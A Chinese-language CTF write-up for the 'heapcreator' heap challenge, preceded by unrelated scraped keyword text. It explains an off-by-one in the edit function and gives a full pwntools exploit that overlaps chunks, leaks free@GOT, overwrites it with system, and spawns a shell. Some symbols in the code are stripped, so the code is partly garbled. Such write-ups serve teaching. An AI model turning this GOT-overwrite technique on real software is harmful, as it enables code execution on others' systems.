论述网站开发建设的一般流程,翻译建设企业网站,电子商城网站建设费用,叮当app制作官网老规矩上来看保护#xff1a; 64位架构并且除了PIE全开。接着黑盒测试下场景#xff1a; 菜单题不用想就是堆。接着我们我们看看IDA中的逻辑#xff1a; 程序的主要逻辑是增删改查。我们看看创建堆的过程#xff1a; 注释我已给出#xff0c;步骤大概如下#xff1a;
1.…老规矩上来看保护 64位架构并且除了PIE全开。接着黑盒测试下场景 菜单题不用想就是堆。接着我们我们看看IDA中的逻辑 程序的主要逻辑是增删改查。我们看看创建堆的过程 注释我已给出步骤大概如下
1.创建一个索引堆大小为0x10前八个字节放Size后八个字节放用户开辟的堆地址。
2.创建用户要求大小的堆用户存放用户数据。
下面测试一下创建一个大小为0x10的堆输入数据aaaaa 下面我们看下释放堆快的代码 我们看到释放堆快这里没有什么问题也不存在UAF漏洞。接下来我们看看改堆快内容的代码逻辑 在edit中我们找到了漏洞所在。show的代码我们就不看了一般是用来泄露地址的。因此我们就需要利用Off-by-one来伪造一个chunk。以此来达到我们的目的。
根据上述代码逻辑我们的漏洞利用思路如下
1.申请三个大小一样的chunk分别为chunk0,chunk1,chunk2。
2.接着修改chunk0的内容填入bin/sh作为后续system的参数利用off-by-one并修改下一个索引chunk的大小为0x81覆盖的是chunk1的索引堆。
3.将chunk1释放掉并申请回来此时我们将拥有0x80大小的空间任我们写入。并能够在chunk1的索引堆上修改用户堆地址为我们可利用的got表项。
4.通过show泄露got表地址并计算libc的基地址,并得出system的地址
5.利用read_input函数将system的地址写入free的got表中
6.触发利用
exp如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-from pwn import *#r remote(node5.buuoj.cn,28780)
r process(./heapcreator)
elf ELF(./heapcreator)
libc ELF(/lib/x86_64-linux-gnu/libc-2.23.so) #这是我本地的要用你自己本地的或者题目提供的
context.log_leveldebugdef add(size,content):r.sendlineafter(choice :,1)r.sendlineafter(Heap : ,str(size))r.sendlineafter(heap:,content)def edit(idx,content):r.sendlineafter(choice :,2)r.sendlineafter(Index :,str(idx))r.sendlineafter(heap : ,content)def show(idx):r.sendlineafter(choice :,3)r.sendlineafter(Index :,str(idx))def delete(idx):r.sendlineafter(choice :,4)r.sendlineafter(Index :,str(idx))free_got elf.got[free]add(0x18,aaaaa) #这里不能用0x10 程序会奔溃 0x18效果是一样的
add(0x10,aaaaa)
add(0x10,aaaaa)
#gdb.attach(r)#pause()edit(0,b/bin/sh\x00p64(0)*2b\x81)delete(1)add(0x70,p64(0)*8p64(0x8)p64(free_got))free_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))base_addr free_addr - libc.symbols[free]
system_addr base_addr libc.symbols[system]edit(2,p64(system_addr))delete(0)r.interactive()
下面我们看看具体的布局
申请三个大小一样的堆 接下来通过漏洞从chunk1的用户输入bin/sh并将chunk2的索引堆大小给改成0x80 释放掉chunk1接着再申请回来我们将拥有对0x80的操作权限并将free_got表地址写入chunk3的索引堆中 此时往chunk3这个用户堆写数据将会写入free_got表里这样我们可以将伪造的system的地址写入free_got表一旦调用free,将会去执行system。可能有些师傅会在这里有困惑答案在这里 这句其实可以这样解读read(0,对应索引堆里的那个堆地址Size)现在他将变成这样read(0,free_gotSize)。不知道这样解释明白不大神忽略。
最后我们释放chunk1,他将直接执行system函数并将堆地址给当成参数传入 理解思路就好我分别三次下断点运行调试的因此堆的地址在变化不必纠结。到这里就结束了。